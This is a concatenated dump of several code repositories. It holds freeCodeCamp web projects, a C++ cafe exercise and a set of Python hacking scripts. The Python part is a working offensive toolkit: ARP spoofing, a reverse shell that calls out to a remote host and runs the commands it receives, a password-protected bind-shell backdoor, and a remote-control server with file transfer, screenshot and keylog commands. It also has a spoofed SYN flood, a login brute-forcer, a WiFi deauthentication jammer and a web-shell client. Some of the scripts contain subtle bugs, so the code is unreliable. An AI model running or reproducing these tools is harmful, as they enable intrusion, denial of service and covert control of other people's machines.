$("#start-stop img").attr('src', '../img/pp.png');
$("#arrow-s").removeClass('arrow-down');
$("#arrow-b").removeClass('arrow-down');
$("#progress").css("background", "none");
$("#percent").css("display", "none");
},
customization: function(chooseSession, type) {
this.seconds = 0;
this.progressV = 0;
this.cProgress = false;
var SClass;
var currentSession = chooseSession;
(chooseSession) ? chooseSession = this.SCountDown: chooseSession = this.BCountDown;
if (chooseSession <= 1) return;
(type) ? chooseSession++ : chooseSession--;
(currentSession) ? this.SCountDown = chooseSession: this.BCountDown = chooseSession;
(currentSession) ? SClass = "#s-time": SClass = "#b-time";
$(SClass).text(chooseSession);
$("#cd-time").text(chooseSession);
var widthValue = this.progressV + 'px';
$(".count-down #progress").css("width", widthValue);
},
progress: function() {
this.progressV = this.progressV + this.perSecWidth;
var widthValue = this.progressV + 'px';
var percentV = Math.floor((this.progressV / 378) * 100);
percentV = 100 - percentV;
if (percentV < 0) percentV = 0;
$("#percent").text(percentV + "%");
$(".count-down #progress").css("width", widthValue);
$("#progress").css("background", "green");
$("#progress").css("background", "-webkit-linear-gradient(right,#d00,#090,#010)");
$("#percent").css("display", "block");
}
}
// supporter functions
function secondDown() {
pomodoro.secondsDown();
}
function start() {
session = false;
pomodoro.start();
$("#start-stop img").attr('src', './img/p.png');
$(".customize").addClass('unclickable');
}
function stop() {
session = true;
pomodoro.stop();
$("#start-stop img").attr('src', './img/pp.png');
$(".customize").removeClass('unclickable');
}
function arrowToggle(classRemove, classAdd, classAnimate) {
classAnimate = classAnimate + ", .arrow-down, .count-down";
$(classRemove).removeClass('arrow-down');
$(classAdd).addClass('arrow-down');
$(classAnimate).addClass("animated flash");
}
// Click Events
$("#start-stop").click(function() {
(session) ? start(): stop();
});
$("#reset").click(function() {
pomodoro.reset();
session = true;
$(".customize").removeClass('unclickable');
});
$("#s-plus").click(function() {
pomodoro.customization(true, true); // session time increment
});
$("#s-minus").click(function() {
pomodoro.customization(true, false); // session time decrement
});
$("#b-plus").click(function() {
pomodoro.customization(false, true);
});
$("#b-minus").click(function() {
pomodoro.customization(false, false);
});
});<file_sep>/data-biz/force-direct/src/js/main.js
/*
Developed by <NAME> (@rameshsyn | @ramesh_syn) :)
DATA VISUALIZATION WITH FORCE DIRECTED GRAPH
---------------- National Contiguity ----------------
*/
import '../css/style.scss'; // css styles
import '../css/flags.css'; // flag sprites
import * as d3 from 'd3';
// svg container size
const height = 700,
width = 1000;
// svg
let svg = d3.select(".chart")
.append("svg")
.attr("height", height)
.attr("width", width);
// Force link
const forceLink = d3.forceLink()
.id(d => d.index)
.distance(60) // distance of links
// Force Many Body - applies to all nodes
const forceManyBody = d3.forceManyBody()
.strength(-50) // repulsion between nodes
.distanceMin(50) // minimum distance between nodes
.distanceMax(110) // maximum distance between nodes
// Force center - starts from center
const forceCenter = d3.forceCenter(width / 2, height /2 );
// simulation | force
let simulation = d3.forceSimulation()
.force("link", forceLink)
.force("charge", forceManyBody)
.force("center", forceCenter);
// node dragging starts
const dragStarts = (d) => {
if(!d3.event.active)
simulation
.alphaTarget(0.3)
.restart();
d.fx = d.x;
d.fy = d.y;
}
// node dragging
const dragging = (d) => {
d.fx = d3.event.x;
d.fy = d3.event.y;
}
// node dragging ends
const dragEnds = (d) => {
if(!d3.event.active)
simulation
.alphaTarget(0);
d.fx = d.fy = null;
}
// Tooltip container
const tooltipBox = d3.select(".chart")
.append("div");
// tooltip
const toolTip = (d) => {
tooltipBox
.style("opacity", 1)
.html(d.country)
.style("left", `${d3.event.pageX - 160}px`)
.style("top", `${d3.event.pageY - 120}px`);
}
// data renders to svg
const render = (err, data) => {
if( err ) throw err; // throws error
// Links - svg line
let link = svg
.append("g")
.attr("class", "links")
.selectAll("line")
.data(data.links)
.enter()
.append("line")
.attr("stroke", "white")
.attr("stroke-width", 1)
// Nodes
let node = d3.select('.chart')
.selectAll("img")
.data(data.nodes)
.enter()
.append("img")
.attr("class", d => `flag flag-${d.code}`)
.on("mouseover", toolTip )
.on("mouseout", (d) => {
tooltipBox
.style("opacity", 0)
});
// When tick is updated , it runs
const tick = (d) => {
link
.attr("x1", d => d.source.x)
.attr("x2", d => d.target.x)
.attr("y1", d => d.source.y)
.attr("y2", d => d.target.y);
node
.style("top", d => `${d.y - 8}px`)
.style("left", d => `${d.x - 5 }px`);
};
// dragging initilize
node
.call(
d3.drag()
.on("start", dragStarts)
.on("drag", dragging)
.on("end", dragEnds)
);
// setting our data (nodes) as simulation nodes
simulation
.nodes(data.nodes)
.on("tick", tick); // tick is listening
simulation
.force("link")
.links(data.links);
};
/// json data
d3.json("https://raw.githubusercontent.com/DealPete/forceDirected/master/countries.json", render);
<file_sep>/README.md
# FreeCodeCamp Projects
Here is my [FreeCodeCamp portfolio](https://www.freecodecamp.com/rameshsyn)
### 1. Front End
* [Random Quote Machine](https://rameshsyangtan.com.np/fcc/front-end/random-quote-machine/)
* [Pomodoro Clock](https://rameshsyangtan.com.np/fcc/front-end/pomodoro-clock/)
* [3D Calculator](https://rameshsyangtan.com.np/fcc/front-end/3d-calculator)
* [Local Weather](https://rameshsyangtan.com.np/fcc/front-end/local-weather/)
* [Wikipedia Viewer](https://rameshsyangtan.com.np/fcc/front-end/wikipedia-viewer/)
* [Twitch.tv Streamer](https://rameshsyangtan.com.np/fcc/front-end/twich-tv-streamer)
* [Tic Tac Toe](https://rameshsyangtan.com.np/fcc/front-end/tic-tac-toe/)
* [Simon Game](https://rameshsyangtan.com.np/fcc/front-end/simon-game/)
* [Recipe Box](https://rameshsyangtan.com.np/fcc/front-end/recipe-box/)
* [FCC Campers Leaderboard](https://rameshsyangtan.com.np/fcc/front-end/fcc-camper-leaderboard/)
* [Markdown Previewer](https://rameshsyangtan.com.np/fcc/front-end/mark-down-previewer/)
* [FCC campers News](https://rameshsyangtan.com.np/fcc/front-end/camper-news/)
* [Portfolio](https://rameshsyangtan.com.np/fcc/front-end/portfolio/)
### 2. Data Visualization With D3
* [Bar Chart - US GDB](https://rameshsyangtan.com.np/fcc/data-biz/bar-chart)
* [Scatter Plot Graph](https://rameshsyangtan.com.np/fcc/data-biz/scaterplot-graph)
* [Heatmap - Global Land surface temperature](https://rameshsyangtan.com.np/fcc/data-biz/heatmap)
* [Force directed graph](https://rameshsyangtan.com.np/fcc/data-biz/force-direct)
* [Game of life](https://rameshsyangtan.com.np/fcc/data-biz/game-of-life)
### 3. Back End
* [Image Search Abstraction layer](https://search-imgg.herokuapp.com/)
* [Url-shortener](https://bit-url.herokuapp.com/)
* [File Meta data](https://md-ms.herokuapp.com/)
* [Header parser](https://header-parser-ms.herokuapp.com/api/whoami)
* [Time stamp](https://timestamp-mi.herokuapp.com/)
<file_sep>/back-end/micro-service/url-shortener/app.js
var express = require("express");
var path = require("path");
var hbs = require("express-handlebars");
var routes = require("./routes/routes").router;
var app = express();
app.set('port', process.env.PORT || 8080);
app.engine('hbs',hbs({extname: 'hbs', defaultLayout: 'index', layoutsDir: __dirname + '/views'}));
app.set('views',path.join(__dirname, 'views'));
app.set('view engine','hbs');
app.use(express.static(path.join(__dirname,"public")));
app.use('/', routes);
app.listen(app.get('port'),function() {
console.log("Server is running at " + app.get('port'));
});<file_sep>/back-end/micro-service/metadata/app.js
var express = require("express");
var hbs = require("express-handlebars");
var path = require("path");
var app = express();
var upload = require("multer")({ dest: 'uploads/'});
app.set("port",process.env.PORT || 8080);
app.engine("hbs", hbs({ extname: "hbs", defaultLayout: "main", layoutsDir: __dirname + "/views"}));
app.set("views", path.join(__dirname, "views"));
app.set("view engine", "hbs");
app.use(express.static(path.join(__dirname, "/public")));
app.get('/', function(req, res, next) {
res.render('main'); // renders main when request to homepage '/'
});
// multipart form data handlers
app.post('/', upload.single('file'), function(req,res,next){
// responds with file meta data
res.json({
name: req.file.originalname,
size: req.file.size
});
});
app.listen(app.get("port"), function(){
console.log("App is running at port " + app.get("port"));
});<file_sep>/data-biz/game-of-life/webpack.config.js
const { resolve } = require('path');
const config = {
entry: './src/js',
devtool: 'eval',
output: {
path: resolve(__dirname, 'dist'),
filename: 'bundle.js',
publicPath: resolve(__dirname, 'dist')
},
devServer: {
inline: true,
port: 3000,
contentBase: resolve(__dirname, 'dist')
},
module: {
loaders: [
{
test: /\.jsx?$/,
exclude: /node_modules/,
loader: 'babel-loader'
},
{
test: /(\.s?css)$/,
loaders: [
'style-loader',
'css-loader',
'sass-loader'
]
},
// {
// test: /\.woff(\?v=\d+\.\d+\.\d+)?$/,
// loader: 'url?name=/fonts/[hash].[ext]&limit=10000&mimetype=application/font-woff'
// },
// {
// test: /\.woff2(\?v=\d+\.\d+\.\d+)?$/,
// loader: 'url?name=/fonts/[hash].[ext]&limit=10000&mimetype=application/font-woff'
// },
// {
// test: /\.ttf(\?v=\d+\.\d+\.\d+)?$/,
// loader: 'url?name=/fonts/[hash].[ext]&limit=10000&mimetype=application/octet-stream'
// },
// {
// test: /\.eot(\?v=\d+\.\d+\.\d+)?$/,
// loader: 'file?publicPath=./&name=/fonts/[hash].[ext]'
// },
// {
// test: /\.svg(\?v=\d+\.\d+\.\d+)?$/,
// loader: 'url?name=/fonts/[hash].[ext]&limit=10000&mimetype=image/svg+xml'
// }
]
}
};
module.exports = config; | 53c638ea923331c071ef6f4f1e2f84fe4d86251f | [
"JavaScript",
"Markdown"
] | 19 | JavaScript | rameshsyn/fcc | f5c72b344e7465ccad7d1ffcaadc3434c121c171 | c5992e5d3bae7ef5af2b5dd16bdba5387e4e0b70 |
refs/heads/master | <repo_name>mikeagamcolum/cafe2<file_sep>/src/funcs.h
#ifndef FUNCS
#define FUNCS
#include <iostream>
#include <unordered_map>
class Cafe {
public:
std::string name;
std::unordered_map<std::string, double> items;
Cafe(std::string p_name) : name {p_name} {
}
void addItem(std::string p_name, double p_price);
double orderItem(std::string name, int quantity = 1);
};
std::string economics(double x);
double payMoney(double price, int dollars);
double makeChange(double money, double denomination, std::string coinName);
#endif
<file_sep>/CMakeLists.txt
cmake_minimum_required(VERSION 2.8)
project(Cafe)
include(gtest.cmake)
find_package(Threads)
set(CMAKE_CXX_STANDARD 17)
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++17 -Wall -Wextra -Werror -pthread")
add_executable(cafe src/main.cpp src/funcs.cpp)
add_executable(cafe-tests test/tests.cpp src/funcs.cpp)
target_link_libraries(cafe-tests ${CMAKE_THREAD_LIBS_INIT} gtest)
<file_sep>/src/funcs.cpp
#include "funcs.h"
void Cafe::addItem(std::string p_name, double p_price){
items[p_name] = p_price;
}
double Cafe::orderItem(std::string name, int quantity){
return double(quantity) * items.at(name);
}
double makeChange(double money, double denomination, std::string coinName){
if(int(money / denomination) == 0){
}
else if( int(money / denomination) != 1){
std::cout << "Returning " + std::to_string(int(int(money / denomination))) + " " + coinName << "s.\n";
}
else {
std::cout << "Returning " + std::to_string(int(int(money / denomination))) + " " + coinName << ".\n";
}
return int(money / denomination) * denomination;
}
std::string economics(double x){
return "$" + std::to_string(x).substr(0, std::to_string(x).find(".") + 3);
}
double payMoney(double price, int dollars){
double change = dollars - price;
std::cout << "\nYou paid " << economics(dollars) << " for an order that costs " << economics(price) << ".\n";
change -= makeChange(change, 1.00, "dollar");
change -= makeChange(change, 0.25, "quarter");
change -= makeChange(change, 0.10, "dime");
change -= makeChange(change, 0.05, "nickel");
change -= makeChange(change, 0.01, "cent");
return dollars - price;
}<file_sep>/test/tests.cpp
#include <gtest/gtest.h>
#include "../src/funcs.h"
TEST(orderItem, TestItem1) {
Cafe TestCafe("Test Cafe");
TestCafe.addItem("Test Item 1", 1);
ASSERT_EQ(4, payMoney(TestCafe.orderItem("Test Item 1"), 5));
}
TEST(orderItem, TestItem2) {
Cafe TestCafe("Test Cafe");
TestCafe.addItem("Test Item 2", 3);
ASSERT_EQ(1, payMoney(TestCafe.orderItem("Test Item 2", 3), 10));
}
TEST(orderItem, TestItem3) {
Cafe TestCafe("Test Cafe");
TestCafe.addItem("Test Item 3", 5);
ASSERT_EQ(0, payMoney(TestCafe.orderItem("Test Item 3", 30), 150));
}
int main(int argc, char** argv){
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}<file_sep>/src/main.cpp
#include "funcs.h"
int main(){
Cafe PurpleLlama("Purrple Llama Coffee and Records");
PurpleLlama.addItem("Fetco, Sey Colombia", 4);
PurpleLlama.addItem("Fetco, <NAME>", 4);
PurpleLlama.addItem("V60, April Kenya Miwendia PB", 6);
PurpleLlama.addItem("V60, Kaffa Kenya Koimbi AA", 5);
PurpleLlama.addItem("V60, Junto Ehtipoia Chire Aroresa", 5);
PurpleLlama.addItem("Espresso, Sey Guatemala", 4.5);
PurpleLlama.addItem("Espresso, <NAME>", 4);
PurpleLlama.addItem("Espresso, Gatuiri AE", 3);
std::cout << economics(payMoney(PurpleLlama.orderItem("Fetco, Sey Colombia"), 5)) << " is your change.\n";
std::cout << economics(payMoney(PurpleLlama.orderItem("Espresso, Sey Guatemala", 3), 20)) << " is your change.\n";
return 0;
} | 6bc1fb38d2ffc1d79159405263ceaf845ed6e38b | [
"CMake",
"C++"
] | 5 | C++ | mikeagamcolum/cafe2 | a119baf4c8fd96166023df4ba91b5316e4711485 | 5cf44cfbe01fc7ae8165dcab3b333a2f7f7506fb |
refs/heads/master | <file_sep>from scapy.all import *
import time
import argparse
# Remember to enable IP forwarding on your attacking machine.
# sudo sysctl -w net.ipv4.ip_forward=1
def get_mac(ip):
ans, _ = arping(ip)
for snt, recv in ans:
mac = recv[Ether].src
return mac
def apr_spoof(ip_to_spoof, pretend_ip):
arp_response = ARP()
#print(arp_response.show())
# Set the ARP to be an ARP response
arp_response.op = 2
# Victim IP
arp_response.pdst = ip_to_spoof
# Victim MAC
arp_response.hwdst = get_mac(ip_to_spoof)
# MAC of attacker
arp_response.hwsrc = "00:0c:29:9b:e8:09"
# IP address of the router we are pretending to be
arp_response.psrc = pretend_ip
# print(arp_response.show())
send(arp_response)
def restore_arp_table(dst, src)
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = dst
arp_response.hwdst = get_mac(dst)
arp_response.hwsrc = get_mac(src)
arp_response.psrc = src
send(arp_response, count=10)
def parse_user_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Provide the target IP", required=True)
parser.add_argument("-g", "--gateway", help="Provide the gateway router IP", required=True)
args = vars(parser.parse_args())
return args
if __name__ == "__main__":
args = parse_user_arguments()
victim_ip = args['target']
gateway_ip = ['gateway']
try:
while True:
# Fool victim to think we are the router
apr_spoof(victim_ip,gateway_ip)
# Fool router to think we are the victim
apr_spoof(gateway_ip, victim_ip)
time.sleep(2)
except KeyboardInterrupt:
print("[+] Exiting and restoring ARP tables")
restore_arp_table(victim_ip, gateway_ip)
restore_arp_table(gateway_ip, victim_ip)<file_sep>#!/user/bin/python2.7
# This script is used to send commands to the simple_web_shell.php
import urllib2, sys
shell = sys.argv[1]
# line below will get the host address by splitting on /
host = shell.split("/")[2]
while True:
command = raw_input("shell@{0}>>".format(host))
req1 = str("{0}?cmd{1}".format(shell, command)).replace(" ", "%20")
request = urllib2.urlopen(req1)
print request.read() #server response<file_sep>print('Python Practice Exercises Challenging Problems')
print('#'* 10)
print()
print("SPY GAME: Write a function that takes in a list of integers and returns True if it contains 007 in order")
def spy_game(nums):
code = [0,0,7,'x']
for num in nums:
if num == code[0]:
code.pop(0) # code.remove(num) also works
return len(code) == 1
print(spy_game([1,2,4,0,0,7,5]))
print(spy_game([1,0,2,4,0,5,7]))
print(spy_game([1,7,2,0,4,5,0]))
print()
print("COUNT PRIMES: Write a function that returns the number of prime numbers that exist up to and including a given number")
def count_primes(num):
#Check for 0 or 1 input as we dont want to count these
if num < 2:
return 0
#2 or greater
#store our prime numbers
primes = [2]
#Counter going up to the input num
x = 3
#x is going through every number up tp input number
while x <= num:
#Check if x is prime
for y in range(3,x,2):
if x%y == 0:
x += 2
break
else: #Unique to Python is the FOR ELSE statement.
primes.append(x)
x += 2
print(primes)
return len(primes)
print(count_primes(100))
print()
def count_primes2(num):
primes = [2]
x = 3
if num < 2:
return 0
while x <= num:
for y in primes: # use the primes list!
if x%y == 0:
x += 2
break
else:
primes.append(x)
x += 2
print(primes)
return len(primes)
print(count_primes2(100))
print()
print("PRINT BIG: Write a function that takes in a single letter, and returns a 5x5 representation of that letter")
def print_big(letter):
patterns = {1:' * ',2:' * * ',3:'* *',4:'*****',5:'**** ',6:' * ',7:' * ',8:'* * ',9:'* '}
alphabet = {'A':[1,2,4,3,3],'B':[5,3,5,3,5],'C':[4,9,9,9,4],'D':[5,3,3,3,5],'E':[4,9,4,9,4]}
for pattern in alphabet[letter.upper()]:
print(patterns[pattern])
print_big('a')<file_sep>#!/usr/bin/python3
import socket
SERVER_IP = "192.168.1.33"
SERVER_PORT = 9001
CHUNK_SIZE = 1024
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = (SERVER_IP, SERVER_PORT)
sock.connect(address)
msg_recv = sock.recv(CHUNK_SIZE)
print(msg_recv.decode())
sock.close()<file_sep>#!/usr/bin/env python
# Had to install the library below with C:/Python27/Scripts/pip.exe install BeautifulSoup
import requests
from BeautifulSoup import BeautifulSoup
import urlparse
def request(url):
try:
return requests.get(url)
except requests.exceptions.ConnectionError:
pass
target_url = "http://10.0.2.4/mutillidae/index.php?page=dns-lookup.php"
response = request(target_url)
#print(response.content)
parsed_html = BeautifulSoup(response.content)
forms_list = parsed_html.findAll("form")
#print(forms_list)
for form in forms_list:
action = form.get("action")
#will have to add check to see if the action contains full URL or partial URL
post_url = urlparse.urljoin(target_url, action)
#print(action)
method = form.get("method")
#print(method)
inputs_list = form.findAll("input")
post_data = {}
for some_input in inputs_list:
input_name = some_input.get("name")
#print(input_name)
input_type = some_input.get("type")
input_value = some_input.get("value")
if input_type == "text":
input_value = "test"
post_data[input_name] = input_value
result = requests.post(post_url, data=post_data)
print(result.content)
<file_sep>from core.connection import ServerConnection
from core.handleConnection import handleConnection
if __name__ == "__main__":
my_socket = ServerConnection()
my_socket.createConnection("192.168.1.33", 9001)
my_socket.listen()
#my_conn, client_add = my_socket.acceptConnection()
#my_socket.sendData("Hi this is the server.")
#print(my_socket.receiveData())
my_conn, _ = my_socket.acceptConnection()
handleConnection(my_socket)
my_conn.close()<file_sep>#!/usr/bin/python3
import socket
SERVER_IP = "192.168.1.33"
SERVER_PORT = 9001
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = (SERVER_IP, SERVER_PORT)
sock.bind(address)
sock.listen(1)
print("[+] Waiting for incoming connections: ", SERVER_PORT)
client_sock, client_add = sock.accept()
print("[+] Connection established from: ", client_add)
msg = "This is the server speaking"
client_sock.send(msg.encode())
client_sock.close()
sock.close()<file_sep>first_number = 1+1
print(first_number)<file_sep>#!/usr/bin/python2.7
# To test run netcat with the command below
# nc -vlp 8888
import socket, subprocess
host = "10.0.2.15"
port = 8888
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
while True:
command = sock.recv(1024)
proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
proc_result = proc.stdout.read() + proc.stderr.read()
sock.send("Result of executing command {0} is {1}".format(command, proc_result))<file_sep>#SQL Injection
'''
This is a simple web server that is vulnerable to
SQL Injection. Make your query string
http://1172.16.17.32:8090/time?row_index=1&characterindex=1&character_value=95&comparator=>&sleep=1
'''
import eventlet
from eventlet import wsgi
from eventlet.green import time
from urlparse import parse_qs
import urllib2
#Database constants
datas = ['hello', 'world']
#Different comparatpors BBsql uses
comparators = ['>', "=", '<', 'false']
def parse_response(env, start_response):
try:
params = parse_qs(urllib2.unquote(env['QUERY_STRING']))
#Extract out all of the sqli info
row_index = int(params['row_index'].pop(0))
char_index = int(params['character_index'].pop[0]) - 1
test_char = int(params['character_value'].pop[0])
comparator = comparators.index(params['comparator'.pop[0]]) - 1
sleep_int = int(params['sleep'].pop(0))
#Determine which character position we are at durring injection
current_character = datas[row_index][char_index]
#call the function for tthe path that was given based on the path provided
response = types[env['PATH_INFO']](test_char, current_character, comparator, sleep_int, start_response)
return response
except:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
return ['error\r\n']
def time_based_line(test_char, current_character, comparator, sleep_int, start_response):
try:
truth = (cmp(test_char,ord(current_character)) == comparator)
sleep_time = float(sleep_int) * truth
time.sleep(sleep_time)
start_response('200 OK',['Content-Type', 'text/plain'])
return['Hello!\r\n']
except:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
return ['error\r\n']
def boolean_based_error(test_char, current_character, comparator, env, start_response):
try:
truth = (cmp(test_char, ord(current_character)) == comparator)
if truth:
start_response('200 OK',['Content-Type', 'text/plain'])
return ['Hello, we are doing great\r\n']
else:
start_response('404 File Not found',['Content-Type', 'text/plain'])
return ['file not found: error\r\n']
except:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
def boolean_based_size(test_char, current_character, comparator, env, start_response):
try:
truth = (cmp(test_char, ord(current_character)) == comparator)
if truth:
start_response('200 OK',['Content-Type', 'text/plain'])
return ['Hello, you submitted a quary and a match was found\r\n']
else:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
return ['error\r\n']
except:
start_response('400 Bad Request', [('Content-Type', 'text/plain')])
#Dictionary of the types of tests
types = {'/time' : time_based_blind, '/error' : boolean_based_error, '/boolean' : boolean_based_size}
#Start the server
print('\n')
print('bbsql http server\n\n')
print('used to unit test boolean, blind, and error based sql injection')
print('path can be set to /time, /error, or /boolean')
print('\n')
wsgi.server(eventlet.listen(('',8090)),parse_response)<file_sep>#!/usr/bin/python
# python 2
import socket
import json
import base64
count = 1
def reliable_send(data):
json_data = json.dump(data)
target.send(json_data)
def reliable_recv():
data = ""
while True:
try:
data = data + target.recv(1024)
return json.loads(data)
except ValueError:
continue
def shell():
global count
while True:
command = raw_input("* Shell#~%s: " %str(ip))
reliable_send(command)
if command == 'exit':
break
elif command[:2] == "cd" and len(command) > 1:
continue
elif command[:8] == "download":
# wb = write bytes
with open(command[9:], "wb") as file:
file_data = reliable_recv()
file.write(base64.b64decode(file_data))
elif command[:6] == "upload":
try:
# rb = read bytes
with open(command[7:], "rb") as fin:
reliable_send(base64.b64encode(fin.read()))
except:
failed = "Failed to Upload"
reliable_send(base64.b64encode(failed))
elif command[:10] == "screenshot":
with open("screenshot%d" % count, "wb") as screen:
image = reliable_recv()
image_decoded = base64.b64decode(image)
if image_decoded[:4] == "[!!]":
print(image_decoded)
else:
screen.write(image_decoded)
count += 1
elif command[:12] == "keylog_start":
continue
else:
result = reliable_recv()
print(result)
def server():
global soc
global ip
global target
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# binds local IP address to port
soc.bind(("192.168.1.4",54321))
soc.listen(5)
print("[+] Listening for incoming connections")
target, ip = soc.accept()
print("[+] Connection established from: %s" % str(ip))
server()
shell()
soc.close()<file_sep>from core.connection import ClientConnection
from core.handleConnection import handleConnection
if __name__ == "__main__":
print("[+] Establishing connection with server.")
my_socket = ClientConnection()
my_socket.connect("192.168.1.33", 9001)
handleConnection(my_socket)
#print(my_socket.receiveData())
#my_socket.sendData("Hi this is the client")
my_socket.close()
<file_sep>import socket
import zipfile
import os
DELIMETER = "<END_OF_RESULTS>"
CHUNK_SIZE = 1024 * 4
class ClientConnection:
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def connect(self, server_ip, server_port):
self.sock.connect((server_ip, server_port))
self.server_ip = server_ip
self.server_port = server_port
def receiveData(self):
self.data_in_bytes = self.sock.recv(1024)
self.data = self.data_in_bytes.decode("utf-8")
return self.data
def sendData(self, data):
#self.data_in_bytes = bytes(data, "utf-8")
self.data_in_bytes = data.encode("utf-8")
self.sock.send(self.data_in_bytes)
def sendCommandResult(self, command_result):
data2send = command_result + DELIMETER
data2send_bytes = data2send.encode()
self.sock.sendall(data2send_bytes)
def receiveFile(self, filename):
# Todo: decrypt and decode
print("[+] Receiving file")
with open(filename, "wb") as file:
while True:
chunk = self.sock.recv(CHUNK_SIZE)
if chunk.endswith(DELIMETER.encode()):
chunk = chunk[:-len(DELIMETER)]
file.write(chunk)
break
file.write(chunk)
print("[+] Completed file transfer")
def sendFile(self, toDownload):
print("[+] Sending file: ", toDownload)
if os.path.isdir(toDownload):
zipped_name = toDownload + ".zip"
zipf = zipfile.ZipFile(zipped_name, "w", zipfile.ZIP_DEFLATED)
for root, dirs, files in os.walk(toDownload):
for file in files:
zipf.write(os.path.join(root, file))
zipf.close()
else:
# Strip the extension
basename = os.path.basename(toDownload)
name, ext = os.path.splitext(basename)
toZip = name + ".zip"
zipf = zipfile.ZipFile(toZip, "w", zipfile.ZIP_DEFLATED)
zipf.write(basename)
zipf.close()
zipped_name = toZip
zip_content = b''
with open(zipped_name,"rb") as file:
zip_content = file.read()
file.close()
self.sendData(zipped_name)
zip_with_delimeter = zip_content + DELIMETER.encode()
self.sock.send(zip_with_delimeter)
os.remove(zipped_name)
def changeDirectory(self):
print("[+] Changing directory")
pwd = os.<PASSWORD>()
self.sendData(pwd)
while True:
user_command = self.receiveData()
if user_command == "stop":
break
if user_command.startswith("cd "):
path2move = user_command.strip("cd ")
if os.path.exists(path2move):
os.chdir(path2move)
pwd = <PASSWORD>()
self.sendData(pwd)
else:
self.sendData(os.getcwd())
else:
self.sendData(os.getcwd())
def close(self):
self.sock.close()<file_sep>#!/usr/bin/python
# This program can be useful for a ddos attack when run from mutlple clients such as bots
from scapy.all import *
def synFlood(src,tgt,data):
for dport in range(1,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=4444, dport=dport)
# data is optional
RAWlayer = Raw(load=data)
pkt = IPlayer/TCPlayer/RAWlayer
send(pkt)
source = raw_input("[+] Enter Source IP address to fake: ")
target = raw_input("[+] Enter Target IP address: ")
data = raw_input("[+] Enter data for TCP payload: ")
while True:
synFlood(source,target,data)
<file_sep>#!/usr/bin/python
import socket,os
host = "localhost"
port = 2000
secret = "Security"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(100)
while True:
client, address = sock.accept()
while True:
command = client.recv(1000).strip("\n")
# Does basic authentication using secret word as first command.
if command == secret:
client.send("Hi Boss :D\n")
while True:
command = client.recv(1000)
result = os.popen(command).read()
client.send(result)<file_sep>'''
Working with Dates and Time
'''
import datetime
# Todays date
today = datetime.date.today()
print(today)
print(today.day)
print(today.month)
print(today.year)
create_day = datetime.date(2022, 3, 4)
print(f'My next birthday is: {create_day}' )
# How close to end of this year?
new_year = datetime.date(2022, 1, 1)
days_remaning = new_year - today
print(f'Days remaning of this year: {days_remaning.days}')
time = datetime.date.time(1,2,44,100)
print(time)
date_time = datetime.datetime(2020,1,22,12,44,12,10000)
print(date_time)
# Move forward withtime delta
time_delta = datetime.timedelta(days=10)
print(date_time + time_delta)
# Convert string date to date object
date_string = '2020-12-04'
date_object = datetime.date.fromisoformat(date_string)
print(date_object)<file_sep>#!/usr/bin/python
import requests
def bruteforce(username, url):
for password in passwords:
password = passwords.strip('\n')
print("[!!] Trying to bruteforce with password: " + password)
#name and value of the html login form fields
data_dictionary = {"username":username, "password":<PASSWORD>, "Login":"submit"}
response = requests.post(url, data=data_dictionary)
# must be exact failure string on web page
if "Login failed" in response.content:
pass
else:
print("[+] Username: ==> " + username)
print("[+] Password: ==> " + password)
exit()
# url with login page
page_url = "http://10.0.0.1/dvwa/login.php"
username = raw_input("* Enter username for specified page: ")
with open("passwordlist.txt", "r") as passwords:
bruteforce(username, page_url)
print("[!!] Password is not in this list.")<file_sep>#!/usr/bin/env python
# Python WiFi Jammer
# First need to install the following modules using pip
# pip install wifi wireless scapy
# C:/Python27/Scripts/pip.exe install wifi wireless scapy
# Need to change Wifi Adapter to monitor mode
# iwconfig wlan1 down
# iwconfig wlan1 mode monitor
# iwconfig wlan1 up
# lots more WiFi Scappy Python scripts can be found here: https://www.programcreek.com/python/example/92705/scapy.layers.dot11.Dot11
import wireless
from wifi import Cell
from scapy.all import *
wifi1 = wireless.Wireless()
interface = wifi1.interface()
#print interface
all_wifi_networks = Cell.all(interface)
print all_wifi_networks
bssids = []
for wifi in all_wifi_networks:
print "Network Name : " + wifi.ssid
print "Network Address : " + wifi.address
print "Network Channel : " + str(wifi.channel)
print "Network Quality : " + str(wifi.quality)
bssids.append(wifi.address)
def jam(address):
conf.iface = "wlan1"
bssid = address
client = "FF:FF:FF:FF:FF:FF"
count = 3
conf.verb = 0
packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
for n in range(int(count)):
sendp(packet)
print 'Deauth num ' + str(n) + ' sent via: ' + conf.iface + ' to BSSID: ' + bssid
while True:
for bssid in bssids:
print "Jamming on : {0}".format(bssid)
jam(bssid)<file_sep>import sys
import os
print('#'*100)
print('Reading and Writing Files')
print('''\
r - read
w - write
a - append''')
print('#'*100)
path = os.path.dirname(__file__)
print("Current working path is {}".format(path))
file = open('B:/Python-Projects/Random/TestFiles/testFile.json', 'a')
print('Opened testFile.json')
file.write('{ "new": "object" }')
#close makes sure that the file doesnt stay in the buffer.
file.close()
<file_sep>
def becomePersistant(my_socket):
print("[+] Become persistant")<file_sep>#Files in python
'''
Python uses file objects to interact with external files on your computer.
These file objects can be any sort of file you have on your computer, whether it be an audio file, a text file, emails, Excel documents, etc.
Note: You will probably need to install certain libraries or modules to interact with those various file types, but they are easily available.
'''
myfile = open('myTestFile.txt')
print(myfile.read())
#set the read cursor back to the begining for the file
myfile.seek(0)
'''
